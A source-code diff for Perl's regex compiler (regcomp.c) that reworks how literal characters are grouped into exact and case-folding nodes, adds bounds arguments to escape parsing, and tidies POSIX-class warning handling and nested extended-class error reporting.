             /* Here, evaluates to a single code point.  Go get that */
             RExC_parse = parse_start;
@@ -13072,11 +13469,26 @@
 	    UV ender = 0;
 	    char *p;
 	    char *s;
-#define MAX_NODE_STRING_SIZE 127
-	    char foldbuf[MAX_NODE_STRING_SIZE+UTF8_MAXBYTES_CASE];
+
+/* This allows us to fill a node with just enough spare so that if the final
+ * character folds, its expansion is guaranteed to fit */
+#define MAX_NODE_STRING_SIZE (255-UTF8_MAXBYTES_CASE)
+	    char foldbuf[MAX_NODE_STRING_SIZE+UTF8_MAXBYTES_CASE+1];
+
 	    char *s0;
 	    U8 upper_parse = MAX_NODE_STRING_SIZE;
-            U8 node_type = compute_EXACTish(pRExC_state);
+
+            /* We start out as an EXACT node, even if under /i, until we find a
+             * character which is in a fold.  The algorithm now segregates into
+             * separate nodes, characters that fold from those that don't under
+             * /i.  (This hopefull will create nodes that are fixed strings
+             * even under /i, giving the optimizer something to grab onto to.)
+             * So, if a node has something in it and the next character is in
+             * the opposite category, that node is closed up, and the function
+             * returns.  Then regatom is called again, and a new node is
+             * created for the new category. */
+            U8 node_type = EXACT;
+
             bool next_is_quantifier;
             char * oldp = NULL;
 
@@ -13090,14 +13502,14 @@
              * which don't participate in folds with Latin1-range characters,
              * as the latter's folds aren't known until runtime.  (We don't
              * need to figure this out until pass 2) */
-            bool maybe_exactfu = PASS2
-                               && (node_type == EXACTF || node_type == EXACTFL);
+            bool maybe_exactfu = PASS2;
 
-            /* If a folding node contains only code points that don't
-             * participate in folds, it can be changed into an EXACT node,
-             * which allows the optimizer more things to look for */
-            bool maybe_exact;
+            /* To see if RExC_uni_semantics changes during parsing of the node.
+             * */
+            bool uni_semantics_at_node_start;
 
+            /* The node_type may change below, but since the size of the node
+             * doesn't change, it works */
 	    ret = reg_node(pRExC_state, node_type);
 
             /* In pass1, folded, we use a temporary buffer instead of the
@@ -13108,45 +13520,33 @@
 
 	  reparse:
 
-            /* We look for the EXACTFish to EXACT node optimizaton only if
-             * folding.  (And we don't need to figure this out until pass 2).
-             * XXX It might actually make sense to split the node into portions
-             * that are exact and ones that aren't, so that we could later use
-             * the exact ones to find the longest fixed and floating strings.
-             * One would want to join them back into a larger node.  One could
-             * use a pseudo regnode like 'EXACT_ORIG_FOLD' */
-            maybe_exact = FOLD && PASS2;
+            /* This breaks under rare circumstances.  If folding, we do not
+             * want to split a node at a character that is a non-final in a
+             * multi-char fold, as an input string could just happen to want to
+             * match across the node boundary.  The code at the end of the loop
+             * looks for this, and backs off until it finds not such a
+             * character, but it is possible (though extremely, extremely
+             * unlikely) for all characters in the node to be non-final fold
+             * ones, in which case we just leave the node fully filled, and
+             * hope that it doesn't match the string in just the wrong place */
 
-	    /* XXX The node can hold up to 255 bytes, yet this only goes to
-             * 127.  I (khw) do not know why.  Keeping it somewhat less than
-             * 255 allows us to not have to worry about overflow due to
-             * converting to utf8 and fold expansion, but that value is
-             * 255-UTF8_MAXBYTES_CASE.  join_exact() may join adjacent nodes
-             * split up by this limit into a single one using the real max of
-             * 255.  Even at 127, this breaks under rare circumstances.  If
-             * folding, we do not want to split a node at a character that is a
-             * non-final in a multi-char fold, as an input string could just
-             * happen to want to match across the node boundary.  The join
-             * would solve that problem if the join actually happens.  But a
-             * series of more than two nodes in a row each of 127 would cause
-             * the first join to succeed to get to 254, but then there wouldn't
-             * be room for the next one, which could at be one of those split
-             * multi-char folds.  I don't know of any fool-proof solution.  One
-             * could back off to end with only a code point that isn't such a
-             * non-final, but it is possible for there not to be any in the
-             * entire node. */
-
-            assert(   ! UTF     /* Is at the beginning of a character */
+            assert( ! UTF     /* Is at the beginning of a character */
                    || UTF8_IS_INVARIANT(UCHARAT(RExC_parse))
                    || UTF8_IS_START(UCHARAT(RExC_parse)));
 
+            uni_semantics_at_node_start = RExC_uni_semantics;
+
             /* Here, we have a literal character.  Find the maximal string of
              * them in the input that we can fit into a single EXACTish node.
-             * We quit at the first non-literal or when the node gets full */
-	    for (p = RExC_parse;
-	         len < upper_parse && p < RExC_end;
-	         len++)
-	    {
+             * We quit at the first non-literal or when the node gets full, or
+             * under /i the categorization of folding/non-folding character
+             * changes */
+	    for (p = RExC_parse; len < upper_parse && p < RExC_end; ) {
+
+                /* In most cases each iteration adds one byte to the output.
+                 * The exceptions override this */
+                Size_t added_len = 1;
+
 		oldp = p;
 
                 /* White space has already been ignored */
@@ -13219,8 +13619,7 @@
                         ) {
                             if (*flagp & NEED_UTF8)
                                 FAIL("panic: grok_bslash_N set NEED_UTF8");
-                            if (*flagp & RESTART_PASS1)
-                                return NULL;
+                            RETURN_NULL_ON_RESTART_FLAGP(flagp);
 
                             /* Here, it wasn't a single code point.  Go close
                              * up this EXACTish node.  The switch() prior to
@@ -13229,6 +13628,7 @@
                             goto loopdone;
                         }
                         p = RExC_parse;
+                        RExC_parse = parse_start;
                         if (ender > 0xff) {
                             REQUIRE_UTF8(flagp);
                         }
@@ -13259,6 +13659,7 @@
 			    const char* error_msg;
 
 			    bool valid = grok_bslash_o(&p,
+                                                       RExC_end,
 						       &result,
 						       &error_msg,
 						       PASS2, /* out warnings */
@@ -13285,6 +13686,7 @@
 			    const char* error_msg;
 
 			    bool valid = grok_bslash_x(&p,
+                                                       RExC_end,
 						       &result,
 						       &error_msg,
 						       PASS2, /* out warnings */
@@ -13382,22 +13784,25 @@
 		    } /* End of switch on '\' */
 		    break;
 		case '{':
-		    /* Currently we don't care if the lbrace is at the start
-		     * of a construct.  This catches it in the middle of a
-		     * literal string, or when it's the first thing after
-		     * something like "\b" */
-		    if (len || (p > RExC_start && isALPHA_A(*(p -1)))) {
+                    /* Currently we allow an lbrace at the start of a construct
+                     * without raising a warning.  This is because we think we
+                     * will never want such a brace to be meant to be other
+                     * than taken literally. */
+		    if (len || (p > RExC_start && isALPHA_A(*(p - 1)))) {
 
-                        /* GNU Autoconf is depended on by a lot of code, and
-                         * can't seem to release a new version that avoids the
-                         * deprecation now made fatal.  (A commit to do so has
-                         * been in its repository since early 2013; only one
-                         * pattern is affected.)  As a work-around, don't
-                         * fatalize this if the pattern being compiled is the
-                         * precise one that trips up Autoconf.  See [perl
-                         * #130497] for more details. */
-                        if (memNEs(RExC_start, RExC_end - RExC_start,
-                                   "\\${[^\\}]*}"))
+                        /* But, we raise a fatal warning otherwise, as the
+                         * deprecation cycle has come and gone.  Except that it
+                         * turns out that some heavily-relied on upstream
+                         * software, notably GNU Autoconf, have failed to fix
+                         * their uses.  For these, don't make it fatal unless
+                         * we anticipate using the '{' for something else.
+                         * This happens after any alpha, and for a looser {m,n}
+                         * quantifier specification */
+                        if (      RExC_strict
+                            || (  p > parse_start + 1
+                                && isALPHA_A(*(p - 1))
+                                && *(p - 2) == '\\')
+                            || new_regcurly(p, RExC_end))
                         {
                             RExC_parse = p + 1;
                             vFAIL("Unescaped left brace in regex is "
@@ -13430,8 +13835,8 @@
 		    break;
 		} /* End of switch on the literal */
 
-		/* Here, have looked at the literal character and <ender>
-                 * contains its ordinal, <p> points to the character after it.
+		/* Here, have looked at the literal character, and <ender>
+                 * contains its ordinal; <p> points to the character after it.
                  * We need to check if the next non-ignored thing is a
                  * quantifier.  Move <p> to after anything that should be
                  * ignored, which, as a side effect, positions <p> for the next
@@ -13447,10 +13852,10 @@
                  * this character again next time through, when it will be the
                  * only thing in its new node */
 
-                if ((next_is_quantifier = (   LIKELY(p < RExC_end)
-                                           && UNLIKELY(ISMULT2(p))))
-                    && LIKELY(len))
-		{
+                next_is_quantifier =    LIKELY(p < RExC_end)
+                                     && UNLIKELY(ISMULT2(p));
+
+                if (next_is_quantifier && LIKELY(len)) {
                     p = oldp;
                     goto loopdone;
                 }
@@ -13463,18 +13868,10 @@
                      * character we are appending, hence we can delay getting
                      * its representation until PASS2. */
                     if (SIZE_ONLY) {
-                        if (UTF) {
+                        if (UTF && ! UVCHR_IS_INVARIANT(ender)) {
                             const STRLEN unilen = UVCHR_SKIP(ender);
                             s += unilen;
-
-                            /* We have to subtract 1 just below (and again in
-                             * the corresponding PASS2 code) because the loop
-                             * increments <len> each time, as all but this path
-                             * (and one other) through it add a single byte to
-                             * the EXACTish node.  But these paths would change
-                             * len to be the correct final value, so cancel out
-                             * the increment that follows */
-                            len += unilen - 1;
+                            added_len = unilen;
                         }
                         else {
                             s++;
@@ -13481,9 +13878,9 @@
                         }
                     } else { /* PASS2 */
                       not_fold_common:
-                        if (UTF) {
+                        if (UTF && ! UVCHR_IS_INVARIANT(ender)) {
                             U8 * new_s = uvchr_to_utf8((U8*)s, ender);
-                            len += (char *) new_s - s - 1;
+                            added_len = (char *) new_s - s;
                             s = (char *) new_s;
                         }
                         else {
@@ -13494,8 +13891,19 @@
                 else if (LOC && is_PROBLEMATIC_LOCALE_FOLD_cp(ender)) {
 
                     /* Here are folding under /l, and the code point is
-                     * problematic.  First, we know we can't simplify things */
-                    maybe_exact = FALSE;
+                     * problematic.  If this is the first character in the
+                     * node, change the node type to folding.   Otherwise, if
+                     * this is the first problematic character, close up the
+                     * existing node, so can start a new node with this one */
+                    if (! len) {
+                        node_type = EXACTFL;
+                    }
+                    else if (node_type == EXACT) {
+                        p = oldp;
+                        goto loopdone;
+                    }
+
+                    /* This code point means we can't simplify things */
                     maybe_exactfu = FALSE;
 
                     /* A problematic code point in this context means that its
@@ -13513,67 +13921,166 @@
                      * do for both passes is the PASS2 code for non-folding */
                     goto not_fold_common;
                 }
-                else /* A regular FOLD code point */
-                    if (! (   UTF
+                else                /* A regular FOLD code point */
+                     if (! UTF)
+                {
+                    /* Here, are folding and are not UTF-8 encoded; therefore
+                     * the character must be in the range 0-255, and is not /l.
+                     * (Not /l because we already handled these under /l in
+                     * is_PROBLEMATIC_LOCALE_FOLD_cp) */
+                    if (! IS_IN_SOME_FOLD_L1(ender)) {
+
+                        /* Start a new node for this non-folding character if
+                         * previous ones in the node were folded */
+                        if (len && node_type != EXACT) {
+                            p = oldp;
+                            goto loopdone;
+                        }
+
+                        *(s++) = (char) ender;
+                    }
+                    else {  /* Here, does participate in some fold */
+
+                        /* if this is the first character in the node, change
+                         * its type to folding.  Otherwise, if this is the
+                         * first folding character in the node, close up the
+                         * existing node, so can start a new node with this
+                         * one.  */
+                        if (! len) {
+                            node_type = compute_EXACTish(pRExC_state);
+                        }
+                        else if (node_type == EXACT) {
+                            p = oldp;
+                            goto loopdone;
+                        }
+
+                        /* See if the character's fold differs between /d and
+                         * /u.  On non-ancient Unicode versions, this includes
+                         * the multi-char fold SHARP S to 'ss' */
+
 #if    UNICODE_MAJOR_VERSION > 3 /* no multifolds in early Unicode */   \
    || (UNICODE_MAJOR_VERSION == 3 && (   UNICODE_DOT_VERSION > 0)       \
                                       || UNICODE_DOT_DOT_VERSION > 0)
+
+                        if (UNLIKELY(ender == LATIN_SMALL_LETTER_SHARP_S)) {
+
                             /* See comments for join_exact() as to why we fold
                              * this non-UTF at compile time */
-                            || (   node_type == EXACTFU
-                                && ender == LATIN_SMALL_LETTER_SHARP_S)
-#endif
-                )) {
-                    /* Here, are folding and are not UTF-8 encoded; therefore
-                     * the character must be in the range 0-255, and is not /l
-                     * (Not /l because we already handled these under /l in
-                     * is_PROBLEMATIC_LOCALE_FOLD_cp) */
-                    if (IS_IN_SOME_FOLD_L1(ender)) {
-                        maybe_exact = FALSE;
+                            if (node_type == EXACTFU) {
+                                *(s++) = 's';
 
-                        /* See if the character's fold differs between /d and
-                         * /u.  This includes the multi-char fold SHARP S to
-                         * 'ss' */
-                        if (UNLIKELY(ender == LATIN_SMALL_LETTER_SHARP_S)) {
-                            RExC_seen_unfolded_sharp_s = 1;
+                                /* Let the code below add in the extra 's' */
+                                ender = 's';
+                                added_len = 2;
+                            }
+                            else if (   uni_semantics_at_node_start
+                                     != RExC_uni_semantics)
+                            {
+                                /* Here, we are supossed to be using Unicode
+                                 * rules, but this folding node is not.  This
+                                 * happens during pass 1 when the node started
+                                 * out not under Unicode rules, but a \N{} was
+                                 * encountered during the processing of it,
+                                 * causing Unicode rules to be switched into.
+                                 * Pass 1 continues uninterrupted, as by the
+                                 * time we get to pass 2, we will know enough
+                                 * to generate the correct folds.  Except in
+                                 * this one case, we need to restart the node,
+                                 * because the fold of the sharp s requires 2
+                                 * characters, and the sizing needs to account
+                                 * for that. */
+                                p = oldp;
+                                goto loopdone;
+                            }
+                            else {
+                                RExC_seen_unfolded_sharp_s = 1;
+                                maybe_exactfu = FALSE;
+                            }
+                        }
+                        else if (   len
+                                 && isALPHA_FOLD_EQ(ender, 's')
+                                 && isALPHA_FOLD_EQ(*(s-1), 's'))
+                        {
                             maybe_exactfu = FALSE;
                         }
-                        else if (maybe_exactfu
-                            && (PL_fold[ender] != PL_fold_latin1[ender]
-#if    UNICODE_MAJOR_VERSION > 3 /* no multifolds in early Unicode */   \
-   || (UNICODE_MAJOR_VERSION == 3 && (   UNICODE_DOT_VERSION > 0)       \
-                                      || UNICODE_DOT_DOT_VERSION > 0)
-                                || (   len > 0
-                                    && isALPHA_FOLD_EQ(ender, 's')
-                                    && isALPHA_FOLD_EQ(*(s-1), 's'))
+                        else
 #endif
-                        )) {
+
+                        if (PL_fold[ender] != PL_fold_latin1[ender]) {
                             maybe_exactfu = FALSE;
                         }
+
+                        /* Even when folding, we store just the input
+                         * character, as we have an array that finds its fold
+                         * quickly */
+                        *(s++) = (char) ender;
                     }
-
-                    /* Even when folding, we store just the input character, as
-                     * we have an array that finds its fold quickly */
-                    *(s++) = (char) ender;
                 }
-                else {  /* FOLD, and UTF (or sharp s) */
+                else {  /* FOLD, and UTF */
                     /* Unlike the non-fold case, we do actually have to
-                     * calculate the results here in pass 1.  This is for two
-                     * reasons, the folded length may be longer than the
-                     * unfolded, and we have to calculate how many EXACTish
-                     * nodes it will take; and we may run out of room in a node
-                     * in the middle of a potential multi-char fold, and have
-                     * to back off accordingly.  */
+                     * calculate the fold in pass 1.  This is for two reasons,
+                     * the folded length may be longer than the unfolded, and
+                     * we have to calculate how many EXACTish nodes it will
+                     * take; and we may run out of room in a node in the middle
+                     * of a potential multi-char fold, and have to back off
+                     * accordingly.  */
 
-                    UV folded;
                     if (isASCII_uni(ender)) {
-                        folded = toFOLD(ender);
-                        *(s)++ = (U8) folded;
+
+                        /* As above, we close up and start a new node if the
+                         * previous characters don't match the fold/non-fold
+                         * state of this one.  And if this is the first
+                         * character in the node, and it folds, we change the
+                         * node away from being EXACT */
+                        if (! IS_IN_SOME_FOLD_L1(ender)) {
+                            if (len && node_type != EXACT) {
+                                p = oldp;
+                                goto loopdone;
+                            }
+
+                            *(s)++ = (U8) ender;
+                        }
+                        else {  /* Is in a fold */
+
+                            if (! len) {
+                                node_type = compute_EXACTish(pRExC_state);
+                            }
+                            else if (node_type == EXACT) {
+                                p = oldp;
+                                goto loopdone;
+                            }
+
+                            *(s)++ = (U8) toFOLD(ender);
+                        }
                     }
-                    else {
+                    else {  /* Not ASCII */
                         STRLEN foldlen;
 
-                        folded = _to_uni_fold_flags(
+                        /* As above, we close up and start a new node if the
+                         * previous characters don't match the fold/non-fold
+                         * state of this one.  And if this is the first
+                         * character in the node, and it folds, we change the
+                         * node away from being EXACT */
+                        if (! _invlist_contains_cp(PL_utf8_foldable, ender)) {
+                            if (len && node_type != EXACT) {
+                                p = oldp;
+                                goto loopdone;
+                            }
+
+                            s = (char *) uvchr_to_utf8((U8 *) s, ender);
+                            added_len = UVCHR_SKIP(ender);
+                        }
+                        else {
+
+                            if (! len) {
+                                node_type = compute_EXACTish(pRExC_state);
+                            }
+                            else if (node_type == EXACT) {
+                                p = oldp;
+                                goto loopdone;
+                            }
+
+                            ender = _to_uni_fold_flags(
                                      ender,
                                      (U8 *) s,
                                      &foldlen,
@@ -13580,41 +14087,18 @@
                                      FOLD_FLAGS_FULL | ((ASCII_FOLD_RESTRICTED)
                                                         ? FOLD_FLAGS_NOMIX_ASCII
                                                         : 0));
-                        s += foldlen;
-
-                        /* The loop increments <len> each time, as all but this
-                         * path (and one other) through it add a single byte to
-                         * the EXACTish node.  But this one has changed len to
-                         * be the correct final value, so subtract one to
-                         * cancel out the increment that follows */
-                        len += foldlen - 1;
-                    }
-                    /* If this node only contains non-folding code points so
-                     * far, see if this new one is also non-folding */
-                    if (maybe_exact) {
-                        if (folded != ender) {
-                            maybe_exact = FALSE;
+                            s += foldlen;
+                            added_len = foldlen;
                         }
-                        else {
-                            /* Here the fold is the original; we have to check
-                             * further to see if anything folds to it */
-                            if (_invlist_contains_cp(PL_utf8_foldable,
-                                                        ender))
-                            {
-                                maybe_exact = FALSE;
-                            }
-                        }
                     }
-                    ender = folded;
 		}
 
+                len += added_len;
+
 		if (next_is_quantifier) {
 
                     /* Here, the next input is a quantifier, and to get here,
-                     * the current character is the only one in the node.
-                     * Also, here <len> doesn't include the final byte for this
-                     * character */
-                    len++;
+                     * the current character is the only one in the node. */
                     goto loopdone;
 		}
 
@@ -13663,16 +14147,12 @@
                     len = s - s0 + 1;
 		}
                 else {
-                    if (!  PL_NonL1NonFinalFold) {
-                        PL_NonL1NonFinalFold = _new_invlist_C_array(
-                                        NonL1_Perl_Non_Final_Folds_invlist);
-                    }
 
                     /* Point to the first byte of the final character */
                     s = (char *) utf8_hop((U8 *) s, -1);
 
                     while (s >= s0) {   /* Search backwards until find
-                                           non-problematic char */
+                                           a non-problematic char */
                         if (UTF8_IS_INVARIANT(*s)) {
 
                             /* There are no ascii characters that participate
@@ -13792,23 +14272,30 @@
                 OP(ret) = NOTHING;
             }
             else {
+                OP(ret) = node_type;
+
+                /* If the node type is EXACT here, check to see if it
+                 * should be EXACTL. */
+                if (node_type == EXACT) {
+                    if (LOC) {
+                        OP(ret) = EXACTL;
+                    }
+                }
+
                 if (FOLD) {
-                    /* If 'maybe_exact' is still set here, means there are no
-                     * code points in the node that participate in folds;
-                     * similarly for 'maybe_exactfu' and code points that match
-                     * differently depending on UTF8ness of the target string
-                     * (for /u), or depending on locale for /l */
-                    if (maybe_exact) {
-                        OP(ret) = (LOC)
-                                  ? EXACTL
-                                  : EXACT;
+                    /* If 'maybe_exactfu' is set, then there are no code points
+                     * that match differently depending on UTF8ness of the
+                     * target string (for /u), or depending on locale for /l */
+                    if (maybe_exactfu) {
+                        if (node_type == EXACTF) {
+                            OP(ret) = EXACTFU;
+                        }
+                        else if (node_type == EXACTFL) {
+                            OP(ret) = EXACTFLU8;
+                        }
                     }
-                    else if (maybe_exactfu) {
-                        OP(ret) = (LOC)
-                                  ? EXACTFLU8
-                                  : EXACTFU;
-                    }
                 }
+
                 alloc_maybe_populate_EXACT(pRExC_state, ret, flagp, len, ender,
                                            FALSE /* Don't look to see if could
                                                     be turned into an EXACT
@@ -13936,7 +14423,18 @@
                                              REPORT_LOCATION_ARGS(p)));     \
         }                                                                   \
     } STMT_END
+#define CLEAR_POSIX_WARNINGS()                                              \
+    STMT_START {                                                            \
+        if (posix_warnings && RExC_warn_text)                               \
+            av_clear(RExC_warn_text);                                       \
+    } STMT_END
 
+#define CLEAR_POSIX_WARNINGS_AND_RETURN(ret)                                \
+    STMT_START {                                                            \
+        CLEAR_POSIX_WARNINGS();                                             \
+        return ret;                                                         \
+    } STMT_END
+
 STATIC int
 S_handle_possible_posix(pTHX_ RExC_state_t *pRExC_state,
 
@@ -14008,7 +14506,7 @@
      *
      * The syntax for a legal posix class is:
      *
-     * qr/(?xa: \[ : \^? [:lower:]{4,6} : \] )/
+     * qr/(?xa: \[ : \^? [[:lower:]]{4,6} : \] )/
      *
      * What this routine considers syntactically to be an intended posix class
      * is this (the comments indicate some restrictions that the pattern
@@ -14033,7 +14531,7 @@
      *                                      # for it to be considered to be
      *                                      # an intended posix class.
      *          \h*
-     *          [:punct:]?                  # The closing class character,
+     *          [[:punct:]]?                # The closing class character,
      *                                      # possibly omitted.  If not a colon
      *                                      # nor semi colon, the class name
      *                                      # must be even closer to a valid
@@ -14072,11 +14570,11 @@
      * decide that no posix class was intended.  Should be at least
      * sizeof("alphanumeric") */
     UV input_text[15];
+    STATIC_ASSERT_DECL(C_ARRAY_LENGTH(input_text) >= sizeof "alphanumeric");
 
     PERL_ARGS_ASSERT_HANDLE_POSSIBLE_POSIX;
 
-    if (posix_warnings && RExC_warn_text)
-        av_clear(RExC_warn_text);
+    CLEAR_POSIX_WARNINGS();
 
     if (p >= e) {
         return NOT_MEANT_TO_BE_A_POSIX_CLASS;
@@ -14168,7 +14666,7 @@
                     *updated_parse_ptr = (char *) temp_ptr;
                 }
 
-                return OOB_NAMEDCLASS;
+                CLEAR_POSIX_WARNINGS_AND_RETURN(OOB_NAMEDCLASS);
             }
         }
 
@@ -14238,7 +14736,7 @@
         /* We consider something like [^:^alnum:]] to not have been intended to
          * be a posix class, but XXX maybe we should */
         if (complement) {
-            return NOT_MEANT_TO_BE_A_POSIX_CLASS;
+            CLEAR_POSIX_WARNINGS_AND_RETURN(NOT_MEANT_TO_BE_A_POSIX_CLASS);
         }
 
         complement = 1;
@@ -14265,7 +14763,7 @@
          * this leaves this construct looking like [:] or [:^], which almost
          * certainly weren't intended to be posix classes */
         if (has_opening_bracket) {
-            return NOT_MEANT_TO_BE_A_POSIX_CLASS;
+            CLEAR_POSIX_WARNINGS_AND_RETURN(NOT_MEANT_TO_BE_A_POSIX_CLASS);
         }
 
         /* But this function can be called when we parse the colon for
@@ -14282,7 +14780,7 @@
             /* XXX We are currently very restrictive here, so this code doesn't
              * consider the possibility that, say, /[alpha.]]/ was intended to
              * be a posix class. */
-            return NOT_MEANT_TO_BE_A_POSIX_CLASS;
+            CLEAR_POSIX_WARNINGS_AND_RETURN(NOT_MEANT_TO_BE_A_POSIX_CLASS);
         }
 
         /* Here we have something like 'foo:]'.  There was no initial colon,
@@ -14452,7 +14950,7 @@
             }
 
             /* Otherwise, it can't have meant to have been a class */
-            return NOT_MEANT_TO_BE_A_POSIX_CLASS;
+            CLEAR_POSIX_WARNINGS_AND_RETURN(NOT_MEANT_TO_BE_A_POSIX_CLASS);
         }
 
         /* If we ran off the end, and the final character was a punctuation
@@ -14502,7 +15000,7 @@
          * class name.  (We can do this on the first pass, as any second pass
          * will yield an even shorter name) */
         if (name_len < 3) {
-            return NOT_MEANT_TO_BE_A_POSIX_CLASS;
+            CLEAR_POSIX_WARNINGS_AND_RETURN(NOT_MEANT_TO_BE_A_POSIX_CLASS);
         }
 
         /* Find which class it is.  Initially switch on the length of the name.
@@ -14509,7 +15007,7 @@
          * */
         switch (name_len) {
             case 4:
-                if (memEQ(name_start, "word", 4)) {
+                if (memEQs(name_start, 4, "word")) {
                     /* this is not POSIX, this is the Perl \w */
                     class_number = ANYOF_WORDCHAR;
                 }
@@ -14520,51 +15018,51 @@
                  * Offset 4 gives the best switch position.  */
                 switch (name_start[4]) {
                     case 'a':
-                        if (memEQ(name_start, "alph", 4)) /* alpha */
+                        if (memBEGINs(name_start, 5, "alph")) /* alpha */
                             class_number = ANYOF_ALPHA;
                         break;
                     case 'e':
-                        if (memEQ(name_start, "spac", 4)) /* space */
+                        if (memBEGINs(name_start, 5, "spac")) /* space */
                             class_number = ANYOF_SPACE;
                         break;
                     case 'h':
-                        if (memEQ(name_start, "grap", 4)) /* graph */
+                        if (memBEGINs(name_start, 5, "grap")) /* graph */
                             class_number = ANYOF_GRAPH;
                         break;
                     case 'i':
-                        if (memEQ(name_start, "asci", 4)) /* ascii */
+                        if (memBEGINs(name_start, 5, "asci")) /* ascii */
                             class_number = ANYOF_ASCII;
                         break;
                     case 'k':
-                        if (memEQ(name_start, "blan", 4)) /* blank */
+                        if (memBEGINs(name_start, 5, "blan")) /* blank */
                             class_number = ANYOF_BLANK;
                         break;
                     case 'l':
-                        if (memEQ(name_start, "cntr", 4)) /* cntrl */
+                        if (memBEGINs(name_start, 5, "cntr")) /* cntrl */
                             class_number = ANYOF_CNTRL;
                         break;
                     case 'm':
-                        if (memEQ(name_start, "alnu", 4)) /* alnum */
+                        if (memBEGINs(name_start, 5, "alnu")) /* alnum */
                             class_number = ANYOF_ALPHANUMERIC;
                         break;
                     case 'r':
-                        if (memEQ(name_start, "lowe", 4)) /* lower */
+                        if (memBEGINs(name_start, 5, "lowe")) /* lower */
                             class_number = (FOLD) ? ANYOF_CASED : ANYOF_LOWER;
-                        else if (memEQ(name_start, "uppe", 4)) /* upper */
+                        else if (memBEGINs(name_start, 5, "uppe")) /* upper */
                             class_number = (FOLD) ? ANYOF_CASED : ANYOF_UPPER;
                         break;
                     case 't':
-                        if (memEQ(name_start, "digi", 4)) /* digit */
+                        if (memBEGINs(name_start, 5, "digi")) /* digit */
                             class_number = ANYOF_DIGIT;
-                        else if (memEQ(name_start, "prin", 4)) /* print */
+                        else if (memBEGINs(name_start, 5, "prin")) /* print */
                             class_number = ANYOF_PRINT;
-                        else if (memEQ(name_start, "punc", 4)) /* punct */
+                        else if (memBEGINs(name_start, 5, "punc")) /* punct */
                             class_number = ANYOF_PUNCT;
                         break;
                 }
                 break;
             case 6:
-                if (memEQ(name_start, "xdigit", 6))
+                if (memEQs(name_start, 6, "xdigit"))
                     class_number = ANYOF_XDIGIT;
                 break;
         }
@@ -14661,7 +15159,7 @@
             }
 
             /* Here neither pass found a close-enough class name */
-            return NOT_MEANT_TO_BE_A_POSIX_CLASS;
+            CLEAR_POSIX_WARNINGS_AND_RETURN(NOT_MEANT_TO_BE_A_POSIX_CLASS);
         }
 
     probably_meant_to_be:
@@ -14703,7 +15201,7 @@
             /* If it is a known class, return the class.  The class number
              * #defines are structured so each complement is +1 to the normal
              * one */
-            return class_number + complement;
+            CLEAR_POSIX_WARNINGS_AND_RETURN(class_number + complement);
         }
         else if (! check_only) {
 
@@ -14768,9 +15266,9 @@
                                        'stack' of where the undealt-with left
                                        parens would be if they were actually
                                        put there */
-    /* The 'VOL' (expanding to 'volatile') is a workaround for an optimiser bug
+    /* The 'volatile' is a workaround for an optimiser bug
      * in Solaris Studio 12.3. See RT #127455 */
-    VOL IV fence = 0;               /* Position of where most recent undealt-
+    volatile IV fence = 0;          /* Position of where most recent undealt-
                                        with left paren in stack is; -1 if none.
                                      */
     STRLEN len;                     /* Temporary */
@@ -14785,6 +15283,8 @@
 
     PERL_ARGS_ASSERT_HANDLE_REGEX_SETS;
 
+    DEBUG_PARSE("xcls");
+
     if (in_locale) {
         set_regex_charset(&RExC_flags, REGEX_UNICODE_CHARSET);
     }
@@ -14802,7 +15302,7 @@
      * these things, we need to realize that something preceded by a backslash
      * is escaped, so we have to keep track of backslashes */
     if (SIZE_ONLY) {
-        UV depth = 0; /* how many nested (?[...]) constructs */
+        UV nest_depth = 0; /* how many nested (?[...]) constructs */
 
         while (RExC_parse < RExC_end) {
             SV* current = NULL;
@@ -14811,8 +15311,9 @@
                                     TRUE /* Force /x */ );
 
             switch (*RExC_parse) {
-                case '?':
-                    if (RExC_parse[1] == '[') depth++, RExC_parse++;
+                case '(':
+                    if (RExC_parse[1] == '?' && RExC_parse[2] == '[')
+                        nest_depth++, RExC_parse+=2;
                     /* FALLTHROUGH */
                 default:
                     break;
@@ -14869,9 +15370,9 @@
                 }
 
                 case ']':
-                    if (depth--) break;
-                    RExC_parse++;
-                    if (*RExC_parse == ')') {
+                    if (RExC_parse[1] == ')') {
+                        RExC_parse++;
+                        if (nest_depth--) break;
                         node = reganode(pRExC_state, ANYOF, 0);
                         RExC_size += ANYOF_SKIP;
                         nextchar(pRExC_state);
@@ -14883,13 +15384,18 @@
 
                         return node;
                     }
-                    goto no_close;
+                    /* We output the messages even if warnings are off, because we'll fail
+                     * the very next thing, and these give a likely diagnosis for that */
+                    if (posix_warnings && av_tindex_skip_len_mg(posix_warnings) >= 0) {
+                        output_or_return_posix_warnings(pRExC_state, posix_warnings, NULL);
+                    }
+                    RExC_parse++;
+                    vFAIL("Unexpected ']' with no following ')' in (?[...");
             }
 
             RExC_parse += UTF ? UTF8SKIP(RExC_parse) : 1;
         }
 
-      no_close:
         /* We output the messages even if warnings are off, because we'll fail
          * the very next thing, and these give a likely diagnosis for that */
         if (posix_warnings && av_tindex_skip_len_mg(posix_warnings) >= 0) {
@@ -14896,7 +15402,7 @@
             output_or_return_posix_warnings(pRExC_state, posix_warnings, NULL);
         }
 
-        FAIL("Syntax error in (?[...])");
+        vFAIL("Syntax error in (?[...])");
     }
 
     /* Pass 2 only after this. */
@@ -15076,12 +15582,14 @@
                      * inversion list, and RExC_parse points to the trailing
                      * ']'; the next character should be the ')' */
                     RExC_parse++;
-                    assert(UCHARAT(RExC_parse) == ')');
+                    if (UCHARAT(RExC_parse) != ')')
+                        vFAIL("Expecting close paren for nested extended charclass");
 
                     /* Then the ')' matching the original '(' handled by this
                      * case: statement */
                     RExC_parse++;
-                    assert(UCHARAT(RExC_parse) == ')');
+                    if (UCHARAT(RExC_parse) != ')')
+                        vFAIL("Expecting close paren for wrapper for nested extended charclass");
 
                     RExC_parse++;
                     RExC_flags = save_flags;
@@ -15205,7 +15713,7 @@
                  * fence.  Get rid of it */
                 fence_ptr = av_pop(fence_stack);
                 assert(fence_ptr);
-                fence = SvIV(fence_ptr) - 1;
+                fence = SvIV(fence_ptr);
                 SvREFCNT_dec_NN(fence_ptr);
                 fence_ptr = NULL;
 
@@ -15596,25 +16104,19 @@
 STATIC void
 S_add_above_Latin1_folds(pTHX_ RExC_state_t *pRExC_state, const U8 cp, SV** invlist)
 {
-    /* This hard-codes the Latin1/above-Latin1 folding rules, so that an
-     * innocent-looking character class, like /[ks]/i won't have to go out to
-     * disk to find the possible matches.
+    /* This adds the Latin1/above-Latin1 folding rules.
      *
      * This should be called only for a Latin1-range code points, cp, which is
      * known to be involved in a simple fold with other code points above
      * Latin1.  It would give false results if /aa has been specified.
      * Multi-char folds are outside the scope of this, and must be handled
-     * specially.
-     *
